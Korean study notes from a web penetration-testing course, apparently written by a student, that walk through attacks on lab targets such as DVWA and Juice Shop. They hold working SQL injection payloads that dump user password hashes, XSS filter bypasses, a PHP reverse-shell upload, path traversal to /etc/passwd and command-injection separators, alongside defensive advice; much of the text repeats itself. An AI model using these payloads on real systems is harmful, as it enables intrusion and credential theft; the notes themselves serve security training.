kali-linux를 vmware에서 실행

sudo su
cd Desktop
apt update


vmware → 사파리에서 pentestlab git을 검색

git clone https://github.com/eystsen/pentestlab.git
cd pentestlab
ls
apt install docker.io -y







그러고 다시 로그인


OWASP Top 10 기준선 (2021년 기준이 최신), 4년에 한번 개정
- OWASP → 웹 취약성을 연구하는 연구원들이 4년마다 많이 발생한 웹 취약성을 목록화 발표
- NIST 기준 (WEB 취약성 31개 정도)
- 주요통신기반시설 취약점 점검 가이드 라인(28개), 공개, 행안부 2021년 - KISA
- 전자금융기반시설 취약점 점검 가이드(48개), 비공개, 금융보안원 2024년
- 행정안전부 SW취약점 개발 가이드(49개), 공개, 행안부 2021년 - KISA
- 국정원 정보보안관리실태평가(13개), 비공개, 국정원, 2024
대표적 12개
- SQL Injection
- XSS(Stored, Reflected)
- File UP/DOWN load
- 정보노출
- 관리자 페이지 노출
- 인증우회
- Parameter 조작
- 디버깅 정보노출
- 세션 재사용
- 불필요한 Method 사용
SQL Injection
SQL 쿼리 (데이터베이스)를 통해 발생하는 취약점
DB를 사용하는 경우 : 회원가입, 로그인, 게시판 조회(검색)
select id, pw from users where id='admin' and pw= 'password ' ;
→ SQL Injection은 보통 로그인 폼, 검색 폼에서 많이 발생
and 조건 때문에 참이어야지만 데이터가 반환되므로, 강제로 or조건으로 변경 (--는 그 뒤에 내용을 주석처리)
select id, pw from users where id='admin' or 1=1--' pw= 'password' ;
or 조건은 둘중 하나만 참이면 참을 반환
id가 admin이 아니어도 1=1 때문에 무조건 참 → 무조건 로그인 성공
SQL I의 취약성 테스트는 ' (싱글 쿼)를 먼저 입력하여 특수 Char로 인식되는지 부터 판단 필요
다만 싱글쿼더 대신에 `(백틱) 이 인식되는 경우가 있음
' 하나만 입력했을 때
db 에러메세지가 안뜨면 취약성이 없다
취약성이 없으면 머물러 있음
테스트 ↓
./pentestlab.sh start juiceshop


싱글 쿼터만 입력

에러 object 가 나오면 취약점...

아무 이메일/ 패스워드 입력


SQL Injection은 정형화 되어있음
XSS (Stored, Reflected)
→ 스크립트(JS)를 통해 실행되는 공격
취약성 테스트 : <script>alert("test")</script> (기본)
Cheat Sheet가 약 4천개 정도 존재
취약점: 게시판 글쓰기, 회원가입, 프로파일, 검색 폼
브라우저의 개발자 도구를 통해 스크립트가 인식되는지 확인 필요
→ 어떤 문자열이 필터되는지
Stored: 저장 형태의 스크립트 (게시판 글쓰기 등)
Reflected: 반사 형태의 스크립트 (검색, 조회) 1회성
공격 방식은 똑같음
테스트 ↓


→ 취약성이 있다
File UP/DOWNload
UPload: 게시판 업로드를 통해 악성파일이 업로드 되는 경우
*프로파일 사진 업로드, PUT Method 이용
악성파일: jsp, php, asp, py, sh, exe, ps 등
→ 악성파일 확장자들이 웹셸로 동작 가능
파일 업로드 취약점 또는 웹셸업로드 취약점이라고도 불림
(웹셸 : 해당 웹 서버의 권한을 제어할 수 있는 취약성)
국정원 & 금보원 → 단순 악성파일 확장자가 업로드만 되어도 취약하다고 판단
행안부 → 업로드 + 실행까지 되어야 취약하다고 판단
공공기관 → 국정원 기준 적용
민간기업 → 행안부를 따라가면 됨
업로드 된 파일이 실행되기 위한 조건 : 업로드 폴더 실행권한, 업로드된 파일 경로 노출
테스트 ↓
cp /usr/share/webshells/php/php-reverse-shell.php php.php

IP 확인

이더넷 장치



수정하고 ctrl + s → 끄기


파일 주소를 그대로 복붙해서 올림 ↓

터미널로 와서



쉘이 연결됨 → 완전히 취약하다
Download
download 함수를 통해 경로 조작을 통해 임의의 경로 파일 다운로드 확인
공지사항에 첨부된 첨부파일의 경로를 통해 공격 시도
http://test.com/notice/file?down=abcd.pdf
보통 첨부파일에 마우스 우클릭을 누르면 취약한 경우 위와 같이 주소가 노출됨
위처럼 구조가 나왔을 때
http://test.com/notice/file?down=../../../../../../../etc/password와 같이 입력하여, 상대경로 파일 다운로드
../ 는 상위 디렉토리로 이동
요즘엔 파일다운로드는 대부분 막혀있긴 함
http://test.com/notice/file?down=abcd.pdf이렇게 나오지 않는 한 취약성이 없다라고 보면됨
정보노출
버전 정보가 노출되는 취약성
→ WEB/WAS에 대한 버전 정보
테스트
curl -v -X OPTIONS http://test.com/ // OPTIONS Method를 통해 헤더정보 출력
curl -v -X GET1 http://test.com/ // 존재하지 않는 Method를 사용함으로써 에러 유발
테스트
curl -v -X OPTIONS http://dvwa

Apache 버전 정보 노출

존재하지 않는 method로 했을 때에도 버전 노출
Burpsuite(proxy 도구)를 가지고 확인이 가능
proxy
클라이언드 ---------------------------------------------------- 웹서버 → 일반적인 통신 구조
클라이언드 ----------------- 프록시서버 ------------------ 웹서버 → 중간에 프록시 서버가 설정됨
프록시 서버 역할 : 클라이언트가 서버로 보내는 데이터를 프록시서버에서 검증하고 서버로 보내는 역할
검증 : 서버로 전송되는 데이터를 모두 확인 가능 (편집가능)
클 → 서버, 서버 → 클 모두 조작이 가능 (양방향으로 가능)
테스트 ↓

버전이 맞지 않다는 경고창 나오면
OK 누르기

close 누르기

next
start burp

5개 중요





인증서 추출한게 바탕화면에 있는지 확인 ↓


Privacy & Security 로 와서

스크롤을 쭉 내리면






여기까지가 프록시 서버 세팅
결과 ↓

세팅 창 닫고
Intercept is off 클릭 하면 on으로 바뀜

naver 검색했을 때 패킷이 잡히는지 확인

관리자 페이지 노출
admin 페이지가 노출되는 취약성
http://test.com/admin 과 같은 구조 (Path 구조)
http://admin.test.com/ 또는 이런 구조 (서브 도메인)
adm, admi, admind 등 관리자 페이지 단어 유추 입력
서버단에서 접근 제어 설정이 우선 시
uri나 url기반에 관리자 페이지 접근 정규표현식 사
URL 구조 이해
http://anc.test.com/test/page?vuln=exe
http: http프로토콜 사용
abc: test.com의 서브 도메인(자식)
test.com: 위치 정보를 가지는 도메인 정보
test: path(경로) 또는 Directory
page: web page를 나타냄
vuln: parameter, webpage에 속한 함수 명
exe: 파라미터 인자 값
웹과 관련된 취약점은 파라미터 인자값에서만 발생
- http://test.com/ <script>alert("test")</script>
- http://test.com/search?a=<script>alert("test")</script>
취약점이 발생할 수 있는 경우는? 2번
인증 우회
1. 인증 과정에 있어 정상 사용자 번호가 아닌 타인의 번호로 인증받아 접속 시도하는 취약성
ex) 휴대폰으로 인증번호 받고 접속 시 휴대폰 번호를 중간에 변경하여 등록되지 않은 번호로 받아 접속 시도
2. 인증서 전체 내용을 그대로 복사하여 바뀌치기하여, 타인의 정보로 로그인이 가능한 경우
→ (국세청 인증서 로그인) 인증서 카피해서 재사용
Burfsuite를 통해 가능
서버단에서 인증 프로세스 체크가 유일
Parameter 조작
정상 파라미터 인자 값을 조작하여 타인의 글 접근, 수정, 삭제, 권한이 없는 게시판 접근, 결제 조작 등의 취약성
http://test.com/board?id=1 정상데이터
http://test.com/board?id=3 권한이 없는 게시판 접근 (파라미터 조작)
서버단에서 프로세스 체크가 설정이 필요
일반 게시판에서 글 쓰는 과정에서 프록시를 통해 공지사항 게시판 id로 변경 시 파라미터 조작은 자동화 공격이 많음
비정상 행위로 탐지가 가능 (WAF X, IDS/IPS)
디버깅 정보 노출
웹 브라우저 개발자 도구를 통해 하드코딩 된 중요정보가 노출되는 취약성
중요정보 → DB접속, 서버접속, 관리자ID, PW
F12를 누르면 개발자 도구가 활성화 됨
서버단에서 디버깅 정보 최소화가 유일
테스트 ↓
Inspecter → 추적 검사
Debugger → 정보 노출
Network → 웹사이트에 접솔 할 때 로드되는 정보 확인가능
Stored → 쿠키값 확인 (세션)
Console → 강제로 함수 호출할 때 이용할 예정
input 창에 글을 입력하고 마우스 우클릭 Inspec 에서 글자 수정하거나 등등 가능
Debugger에서 함수를 그대로 보거나
작업순서
1. Network 탭 → 어떤 파일들을 긁어가는지 보기 위함
2. Debugger
세션 재사용 취약점
개발자 도구의 Stroage를 수정해서 세션 정보의 재사용 취약성
세션 재사용은 정상적인 로그아웃을 했을때와 로그인이 된 상태에서 강제로 브라우저를 종료했을 때 모두 점검 필요
→ 둘중 하나라도 취약성이 식별되면 취약
서버단에서 일정시간 이후 세션 정보 초기화 설정 필수
Storage

테스트 ↓
쿠키의 세션아이디 복사 해서 로그아웃 하고 로그인 해보기
불필요한 Method 사용
PUT, DELETE와 같은 취약한 Method 사용 여부 판단
curl -v -X OPTIONS http://test.com/ 으로 allow Method 항목을 통해 확인 가능
Method
GET: 페이지 요청
POST: 서버에 데이터 반영 (Login, Write 작업)
PUT: 서버의 데이터 갱신 또는 업로드
DETELE: 서버의 데이터 삭제
OPTIONS: 서버의 헤더 정보 요청
PATCH: 서버 정보 갱신
PUT, DELETE를 통해 페이지 접근 시탐지하는 룰 필요
의도적으로 PUT, DELETE를 사용하는 경우가 있음 → 룰을 만들면 오탐만 더 늘어남 (공공, 공기업은 사용X)
소명자료가 없으면 전체 재개발이 필요, 소명자료가 있다 할지라도 객관적인 자료가 아니면 허용 X
터미널 창 반 나누기
ctrl + shift + r

proxy 창에서
ctrl + r 는 repeater 활성화
method를 바꾸고 send 했을 때
response에 allow가 있으면 취약한것

SQL Injection
'or 1=1 # 또는 ' or 1=1 -- 입력해서 모든 데이터 출력하기
DB버전에 따라 #이 주석 또는 -- 가 주석인 경우가 있음
select frist,surname from names where id="or 1=1#';


'union select 1#
다중 선택(조회) 구문

컬럼 개수가 다르다고 알려줌



컬럼 개수를 알아냄
버전 정보 알아내기
'union select 1,@@version # // 버전 정보 확인

버전 정보 확인 가능

DB이름 알아내기
'union select 1,schema_name from information_schema.schemata #
information_schema → DB생성시 자동으로 생성되는 테이블, DB에 사용중인 모든 DB와 관련된 정보가 기본으로 저장됨
결과 ↓

Table이름 알아내기
'union select 1,table_name from information_schema.tables where table_schema='dvwa' #

Table에 속한 Column이름 알아내기
'union select 1,column_name from information_schema.columns where table_name='users' #

user table로 부터 아이디, 비번 알아내기
'union select user, password from users #

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.
Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack
crackstation.net
hash 값만 남기고 다 지움


이제 아이디와 비번을 알았으니 로그인 시도 할 수 있음

wireshark 에서 any 클릭 & 상단에 지느러미 모양 클릭
dvwa에서 이전에 썼던 쿼리 넣고 submit
whireshark에 많은 패킷이 보이는데
get method로 발생한 packet 만 보겠다

whireshark를 실행하여 패킷의 내용이 평문으로 보임 (암호화 X)
관제장비도 마찬가지로 데이터가 평문일 경우 탐지가 가능
우리가 지금 실습하는 lab(dvwa) 환경은 http이니 평문 통신이 당연
실제 사이트의 경우 대부분은 https(SSL/TLS)가 적용되어있음 (암호화)
그러면 공격자가 공격하는 데이터는 모두 암호화 되서 네트워크 구간을 지나감
(공격자)인터넷 --------------- 라우터 --------------- FW/IDS/IPS --------------- WAF/DMZ (DVWA)
(공격자)인터넷 --------------- 라우터 --------------- FW/IDS/IPS --------------- WAF/DMZ (naver) // https로 하면 전 구간이 암호화 통신이 됨
보안장비에서는 어떻게 탐지가 가능할까?
→ 보안 장비에 proxy를 두면 됨
(공격자)인터넷 --------------- 라우터 --------------- FW/IDS/IPS --------------- WAF/DMZ (DVWA)
(공격자)인터넷 --------------- 라우터 --------------- FW(PROXY)/IDS(PROXY)/IPS(PROXY) --------------- WAF(PROXY) /DMZ (naver)
장비마다 proxy를 두거나 앞단에다가 주면됨
→ proxy = ssl/tls 모두 평문으로 확인 가능
네이버는 난수로 암호화가 잘 되어있음
테스트 방법 → (burfsuite에서 inspect off 하고 가상머신에서 네이버에서 로그인하고 on 인가..? )

BPR (비즈니스 프로세스 리엔지니어링)
ISP(정보화전략계획)
SQLMAP: sqli 공격을 자동화 해주는 도구
security level 을 medium으로 바꾸고 submit

Sql injection으로 가면 이렇게 바뀜

- proxy: proxy 기능
- intruder: 자동화 공격
- repeater: 패킷(트래픽) 재사용
- decoder: 인코딩, 복호화(URL, HTML, Base64 등 복호화가 가능한 알고리즘)
- extension: 확장기능(Burfsuite는 plugin을 가져다가 사용할 수 있음)
패킷 (트래픽) 구조
POST /vulnerabilities/sqli/ HTTP/1.1 // method와 접속하는 path, param 등 확인
Host: dvwa // 내가 접속하는 서버 주소
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 // 내가 서버로 접속할 때 보내는 접속정보 (클라이언트 환경), 칼리라서 리눅스라고 나옴, Firefox 버전도 나옴, 사후에 사고가 발생했을 때 사용가능 (공격자 환경 파악), 웹 서버의 access로그에 기록되도록 설정 필요, 보안장비는 기본적으로 모두 기록함(WAF)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://dvwa
Connection: keep-alive
Referer: http://dvwa/vulnerabilities/sqli/ // 내가 마지막으로 방문한 주소 (POST에 있는 경로에 접속하기 위해 마지막으로 접속한 주소)
Cookie: PHPSESSID=tr6auq2ub8cqegr9l722sk10l3; security=medium // 연결 정보 (세션)
Upgrade-Insecure-Requests: 1
id=1&Submit=Submit
POST ~ Upgrade까지는 모드 헤더 영역
id=1&Submit=Submit //Body, Payload영역이 됨 (실제 서버로 전송되는 데이터 정보)
burfsuite를 on으로 바꾸고
id뒤에 ' 추가하고 send 하면 syntax 에러남

id=1 뒤에 or 1=1 # 을 입력 하고 send

다른 쿼리

이건 왜 한건지 잘 모르겠음 ↓
proxy 도구는 127.~ 시작하는 것은 IP는 패킷 캡처가 원래 안됨
127.0 ~ Loopback으로 인식
about:config


더블클릭해서 true로 바꾸기
문자열 10개이상 쓰게 개발자 도구 가서 inspector
max_lenth 100으로 수정


alert 이 안뜨고 이렇게 나옴ali-linux를 vmware에서 실행

sudo su
cd Desktop
apt update


vmware → 사파리에서 pentestlab git을 검색

git clone https://github.com/eystsen/pentestlab.git
cd pentestlab
ls
apt install docker.io -y







그러고 다시 로그인


OWASP Top 10 기준선 (2021년 기준이 최신), 4년에 한번 개정
OWASP → 웹 취약성을 연구하는 연구원들이 4년마다 많이 발생한 웹 취약성을 목록화 발표
NIST 기준 (WEB 취약성 31개 정도)
주요통신기반시설 취약점 점검 가이드 라인(28개), 공개, 행안부 2021년 - KISA
전자금융기반시설 취약점 점검 가이드(48개), 비공개, 금융보안원 2024년
행정안전부 SW취약점 개발 가이드(49개), 공개, 행안부 2021년 - KISA
국정원 정보보안관리실태평가(13개), 비공개, 국정원, 2024
대표적 12개
SQL Injection
XSS(Stored, Reflected)
File UP/DOWN load
정보노출
관리자 페이지 노출
인증우회
Parameter 조작
디버깅 정보노출
세션 재사용
불필요한 Method 사용
SQL Injection
SQL 쿼리 (데이터베이스)를 통해 발생하는 취약점
DB를 사용하는 경우 : 회원가입, 로그인, 게시판 조회(검색)
select id, pw from users where id='admin' and pw= 'password ' ;
→ SQL Injection은 보통 로그인 폼, 검색 폼에서 많이 발생
and 조건 때문에 참이어야지만 데이터가 반환되므로, 강제로 or조건으로 변경 (--는 그 뒤에 내용을 주석처리)
select id, pw from users where id='admin' or 1=1--' pw= 'password' ;
or 조건은 둘중 하나만 참이면 참을 반환
id가 admin이 아니어도 1=1 때문에 무조건 참 → 무조건 로그인 성공
SQL I의 취약성 테스트는 ' (싱글 쿼)를 먼저 입력하여 특수 Char로 인식되는지 부터 판단 필요
다만 싱글쿼더 대신에 `(백틱) 이 인식되는 경우가 있음
' 하나만 입력했을 때
db 에러메세지가 안뜨면 취약성이 없다
취약성이 없으면 머물러 있음
테스트 ↓
./pentestlab.sh start juiceshop


싱글 쿼터만 입력

에러 object 가 나오면 취약점...

아무 이메일/ 패스워드 입력


SQL Injection은 정형화 되어있음
XSS (Stored, Reflected)
→ 스크립트(JS)를 통해 실행되는 공격
취약성 테스트 : <script>alert("test")</script> (기본)
Cheat Sheet가 약 4천개 정도 존재
취약점: 게시판 글쓰기, 회원가입, 프로파일, 검색 폼
브라우저의 개발자 도구를 통해 스크립트가 인식되는지 확인 필요
→ 어떤 문자열이 필터되는지
Stored: 저장 형태의 스크립트 (게시판 글쓰기 등)
Reflected: 반사 형태의 스크립트 (검색, 조회) 1회성
공격 방식은 똑같음
테스트 ↓


→ 취약성이 있다
File UP/DOWNload
UPload: 게시판 업로드를 통해 악성파일이 업로드 되는 경우
*프로파일 사진 업로드, PUT Method 이용
악성파일: jsp, php, asp, py, sh, exe, ps 등
→ 악성파일 확장자들이 웹셸로 동작 가능
파일 업로드 취약점 또는 웹셸업로드 취약점이라고도 불림
(웹셸 : 해당 웹 서버의 권한을 제어할 수 있는 취약성)
국정원 & 금보원 → 단순 악성파일 확장자가 업로드만 되어도 취약하다고 판단
행안부 → 업로드 + 실행까지 되어야 취약하다고 판단
공공기관 → 국정원 기준 적용
민간기업 → 행안부를 따라가면 됨
업로드 된 파일이 실행되기 위한 조건 : 업로드 폴더 실행권한, 업로드된 파일 경로 노출
테스트 ↓
cp /usr/share/webshells/php/php-reverse-shell.php php.php

IP 확인

이더넷 장치



수정하고 ctrl + s → 끄기


파일 주소를 그대로 복붙해서 올림 ↓

터미널로 와서



쉘이 연결됨 → 완전히 취약하다
Download
download 함수를 통해 경로 조작을 통해 임의의 경로 파일 다운로드 확인
공지사항에 첨부된 첨부파일의 경로를 통해 공격 시도
http://test.com/notice/file?down=abcd.pdf
보통 첨부파일에 마우스 우클릭을 누르면 취약한 경우 위와 같이 주소가 노출됨
위처럼 구조가 나왔을 때
http://test.com/notice/file?down=../../../../../../../etc/password와 같이 입력하여, 상대경로 파일 다운로드
../ 는 상위 디렉토리로 이동
요즘엔 파일다운로드는 대부분 막혀있긴 함
http://test.com/notice/file?down=abcd.pdf이렇게 나오지 않는 한 취약성이 없다라고 보면됨
정보노출
버전 정보가 노출되는 취약성
→ WEB/WAS에 대한 버전 정보
테스트
curl -v -X OPTIONS http://test.com/ // OPTIONS Method를 통해 헤더정보 출력
curl -v -X GET1 http://test.com/ // 존재하지 않는 Method를 사용함으로써 에러 유발
테스트
curl -v -X OPTIONS http://dvwa

Apache 버전 정보 노출

존재하지 않는 method로 했을 때에도 버전 노출
Burpsuite(proxy 도구)를 가지고 확인이 가능
proxy
클라이언드 ---------------------------------------------------- 웹서버 → 일반적인 통신 구조
클라이언드 ----------------- 프록시서버 ------------------ 웹서버 → 중간에 프록시 서버가 설정됨
프록시 서버 역할 : 클라이언트가 서버로 보내는 데이터를 프록시서버에서 검증하고 서버로 보내는 역할
검증 : 서버로 전송되는 데이터를 모두 확인 가능 (편집가능)
클 → 서버, 서버 → 클 모두 조작이 가능 (양방향으로 가능)
테스트 ↓

버전이 맞지 않다는 경고창 나오면
OK 누르기

close 누르기

next
start burp

5개 중요





인증서 추출한게 바탕화면에 있는지 확인 ↓


Privacy & Security 로 와서

스크롤을 쭉 내리면






여기까지가 프록시 서버 세팅
결과 ↓

세팅 창 닫고
Intercept is off 클릭 하면 on으로 바뀜

naver 검색했을 때 패킷이 잡히는지 확인

관리자 페이지 노출
admin 페이지가 노출되는 취약성
http://test.com/admin 과 같은 구조 (Path 구조)
http://admin.test.com/ 또는 이런 구조 (서브 도메인)
adm, admi, admind 등 관리자 페이지 단어 유추 입력
URL 구조 이해
http://anc.test.com/test/page?vuln=exe
http: http프로토콜 사용
abc: test.com의 서브 도메인(자식)
test.com: 위치 정보를 가지는 도메인 정보
test: path(경로) 또는 Directory
page: web page를 나타냄
vuln: parameter, webpage에 속한 함수 명
exe: 파라미터 인자 값
웹과 관련된 취약점은 파라미터 인자값에서만 발생
http://test.com/ <script>alert("test")</script>
http://test.com/search?a=<script>alert("test")</script>
취약점이 발생할 수 있는 경우는? 2번
인증 우회
1. 인증 과정에 있어 정상 사용자 번호가 아닌 타인의 번호로 인증받아 접속 시도하는 취약성
ex) 휴대폰으로 인증번호 받고 접속 시 휴대폰 번호를 중간에 변경하여 등록되지 않은 번호로 받아 접속 시도
2. 인증서 전체 내용을 그대로 복사하여 바뀌치기하여, 타인의 정보로 로그인이 가능한 경우
→ (국세청 인증서 로그인) 인증서 카피해서 재사용
Burfsuite를 통해 가능
Parameter 조작
정상 파라미터 인자 값을 조작하여 타인의 글 접근, 수정, 삭제, 권한이 없는 게시판 접근, 결제 조작 등의 취약성
http://test.com/board?id=1 정상데이터
http://test.com/board?id=3 권한이 없는 게시판 접근 (파라미터 조작)
디버깅 정보 노출
웹 브라우저 개발자 도구를 통해 하드코딩 된 중요정보가 노출되는 취약성
중요정보 → DB접속, 서버접속, 관리자ID, PW
F12를 누르면 개발자 도구가 활성화 됨
테스트 ↓
Inspecter → 추적 검사
Debugger → 정보 노출
Network → 웹사이트에 접솔 할 때 로드되는 정보 확인가능
Stored → 쿠키값 확인 (세션)
Console → 강제로 함수 호출할 때 이용할 예정
input 창에 글을 입력하고 마우스 우클릭 Inspec 에서 글자 수정하거나 등등 가능
Debugger에서 함수를 그대로 보거나
작업순서
1. Network 탭 → 어떤 파일들을 긁어가는지 보기 위함
2. Debugger
세션 재사용 취약점
개발자 도구의 Stroage를 수정해서 세션 정보의 재사용 취약성
세션 재사용은 정상적인 로그아웃을 했을때와 로그인이 된 상태에서 강제로 브라우저를 종료했을 때 모두 점검 필요
→ 둘중 하나라도 취약성이 식별되면 취약
Storage

테스트 ↓
쿠키의 세션아이디 복사 해서 로그아웃 하고 로그인 해보기
불필요한 Method 사용
PUT, DELETE와 같은 취약한 Method 사용 여부 판단
curl -v -X OPTIONS http://test.com/ 으로 allow Method 항목을 통해 확인 가능
Method
GET: 페이지 요청
POST: 서버에 데이터 반영 (Login, Write 작업)
PUT: 서버의 데이터 갱신 또는 업로드
DETELE: 서버의 데이터 삭제
OPTIONS: 서버의 헤더 정보 요청
PATCH: 서버 정보 갱신
터미널 창 반 나누기
ctrl + shift + r

proxy 창에서
ctrl + r 는 repeater 활성화
method를 바꾸고 send 했을 때
response에 allow가 있으면 취약한것

SQL Injection
'or 1=1 # 또는 ' or 1=1 -- 입력해서 모든 데이터 출력하기
DB버전에 따라 #이 주석 또는 -- 가 주석인 경우가 있음
select frist,surname from names where id="or 1=1#';


'union select 1#
다중 선택(조회) 구문

컬럼 개수가 다르다고 알려줌



컬럼 개수를 알아냄
버전 정보 알아내기
'union select 1,@@version # // 버전 정보 확인

버전 정보 확인 가능

DB이름 알아내기
'union select 1,schema_name from information_schema.schemata #
information_schema → DB생성시 자동으로 생성되는 테이블, DB에 사용중인 모든 DB와 관련된 정보가 기본으로 저장됨
결과 ↓

Table이름 알아내기
'union select 1,table_name from information_schema.tables where table_schema='dvwa' #

Table에 속한 Column이름 알아내기
'union select 1,column_name from information_schema.columns where table_name='users' #

user table로 부터 아이디, 비번 알아내기
'union select user, password from users #

https://crackstation.net/
CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.
Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack
crackstation.net
hash 값만 남기고 다 지움


이제 아이디와 비번을 알았으니 로그인 시도 할 수 있음

wireshark 에서 any 클릭 & 상단에 지느러미 모양 클릭
dvwa에서 이전에 썼던 쿼리 넣고 submit
whireshark에 많은 패킷이 보이는데
get method로 발생한 packet 만 보겠다

whireshark를 실행하여 패킷의 내용이 평문으로 보임 (암호화 X)
관제장비도 마찬가지로 데이터가 평문일 경우 탐지가 가능
우리가 지금 실습하는 lab(dvwa) 환경은 http이니 평문 통신이 당연
실제 사이트의 경우 대부분은 https(SSL/TLS)가 적용되어있음 (암호화)
그러면 공격자가 공격하는 데이터는 모두 암호화 되서 네트워크 구간을 지나감
(공격자)인터넷 --------------- 라우터 --------------- FW/IDS/IPS --------------- WAF/DMZ (DVWA)
(공격자)인터넷 --------------- 라우터 --------------- FW/IDS/IPS --------------- WAF/DMZ (naver) // https로 하면 전 구간이 암호화 통신이 됨
보안장비에서는 어떻게 탐지가 가능할까?
→ 보안 장비에 proxy를 두면 됨
(공격자)인터넷 --------------- 라우터 --------------- FW/IDS/IPS --------------- WAF/DMZ (DVWA)
(공격자)인터넷 --------------- 라우터 --------------- FW(PROXY)/IDS(PROXY)/IPS(PROXY) --------------- WAF(PROXY) /DMZ (naver)
장비마다 proxy를 두거나 앞단에다가 주면됨
→ proxy = ssl/tls 모두 평문으로 확인 가능
네이버는 난수로 암호화가 잘 되어있음
테스트 방법 → (burfsuite에서 inspect off 하고 가상머신에서 네이버에서 로그인하고 on 인가..? )

BPR (비즈니스 프로세스 리엔지니어링)
ISP(정보화전략계획)
SQLMAP: sqli 공격을 자동화 해주는 도구
security level 을 medium으로 바꾸고 submit

Sql injection으로 가면 이렇게 바뀜

proxy: proxy 기능
intruder: 자동화 공격
repeater: 패킷(트래픽) 재사용
decoder: 인코딩, 복호화(URL, HTML, Base64 등 복호화가 가능한 알고리즘)
extension: 확장기능(Burfsuite는 plugin을 가져다가 사용할 수 있음)
패킷 (트래픽) 구조
POST /vulnerabilities/sqli/ HTTP/1.1 // method와 접속하는 path, param 등 확인
Host: dvwa // 내가 접속하는 서버 주소
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 // 내가 서버로 접속할 때 보내는 접속정보 (클라이언트 환경), 칼리라서 리눅스라고 나옴, Firefox 버전도 나옴, 사후에 사고가 발생했을 때 사용가능 (공격자 환경 파악), 웹 서버의 access로그에 기록되도록 설정 필요, 보안장비는 기본적으로 모두 기록함(WAF)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://dvwa
Connection: keep-alive
Referer: http://dvwa/vulnerabilities/sqli/ // 내가 마지막으로 방문한 주소 (POST에 있는 경로에 접속하기 위해 마지막으로 접속한 주소)
Cookie: PHPSESSID=tr6auq2ub8cqegr9l722sk10l3; security=medium // 연결 정보 (세션)
Upgrade-Insecure-Requests: 1
id=1&Submit=Submit
POST ~ Upgrade까지는 모드 헤더 영역
id=1&Submit=Submit //Body, Payload영역이 됨 (실제 서버로 전송되는 데이터 정보)
burfsuite를 on으로 바꾸고
id뒤에 ' 추가하고 send 하면 syntax 에러남

id=1 뒤에 or 1=1 # 을 입력 하고 send

다른 쿼리

이건 왜 한건지 잘 모르겠음 ↓
proxy 도구는 127.~ 시작하는 것은 IP는 패킷 캡처가 원래 안됨
127.0 ~ Loopback으로 인식
about:config


더블클릭해서 true로 바꾸기
문자열 10개이상 쓰게 개발자 도구 가서 inspector
max_lenth 100으로 수정


alert 이 안뜨고 이렇게 나옴

<script>로 시작하는 것이 차단되고 있다 라고 유추할 수 있음
구글에 검색
xss cheat sheet
<sCript>alert("test")</sCript>1
SQLi와 XSS대응
문자열 필터로 쉽게 대응 가능
1) 보안 장비
'union select , or 1=1 , <script> , alert , <img ~
'union, seleect 등 문자열에 대한 필터를 어떻게 할 것인가?
내 id가 union일 때 보안장비에서 어떻게 하면 오용탐지를 낮출 수 있을까 → 정규표현식 사용
2) 시큐어 코딩
loginpage → id form ' (싱글쿼트)가 입력되지 않도록 방지, %20(공백)이 입력되지 않도록, '<' char 아니라 text로 인식되도록 form에서 설정하면 됨
replace(치환)만 하면 대응 가능
File UP/DOWNload
업로드 된 파일이 실행되기 위한 조건 : 업로드 폴더 실행권한, 업로드 된 파일경로 노출
업로드 공격 대응
→ 업로드 폴더 실행권한 제거, 업로드된 파일 경로 노출 제거
→ 악성 파일 확장자 업로드 필터ㅌ
→ 업로드 되는 데이터 영역(payload, body)에 대한 문자열 필터(헤더, 본문도 점검 필요) → 이것만 보안장비에서 대응 가능
업로드에 따른 상태 차이
유닉스: 확장자 기반이 아니라 권한 기반으로 동작
→ 해당 폴더에 생성되는 파일이 실행권한이 부여될때
윈도우: 확장자 기반으로 실행 → 파일업로드 취약점은 윈도우 서버가 더 안전함 (확장자 기반으로 필터가 되어 있을 때 확장자를 변경해서 업로드 해도 실행이 안됨. 해당 확장자로 인식
공격자는 확장자를 변경하던지, Content-Type을 변경하던지, 파일의 헤더를 추가하여 업로드 우회 시도
php, php2~php7 까지 먹힘 (뭔소리지)
테스트 ↓

놓침
Content - Type을 image/jpeg로 바꿈
BruteForce
→ 자동화 공격, 무차별 대입공격 (사전기반, 무차별)
로그인 (취약한 ID or password 사용시)
파라미터 변조 (API 포함)를 데이터를 확인할 때
Intruder 기능을 사용하면 됨, 또는 코딩을 해도 됨
Command Injection
명령어 주입 공격, system함수에 의해 추가로 명령어가 실행되는 구조
;,|, ||, && c총 4가지의 방법으로 가능
ex) ls ; pwd를 하면 ls가실행되고(실행여부 상관없이), pwd가 실행됨
parameter 인자값으로 전달
해당 기능에서 system(cmd, sh)함수를 사용하고 있을 경우만 가능
공유기, 프린터, Iot, Embeded
uri에 ;, ...... 놓
LFI/RFI
파일 참조 공격, 페이지 내 다른 파일을 참조하는데서 취약점이 발생함
함수 → include
취약점 구조: 소스코드 내 'admin?page=../../../test.html' 와 같은 구조를 가지고 있음
LFI: 로컬 파일 참조 → admin 페이지가 실행되는 서버의 파일을 참조하는 공격(웹서버)
../../../etc/password 와 같이 입력하여 로컬에 있는 파일 참조
../ → 상위 디렉토리 지정 문자열이 핵심, 인코딩 작업을 수행함, HTML, URL, 2중 URL 등
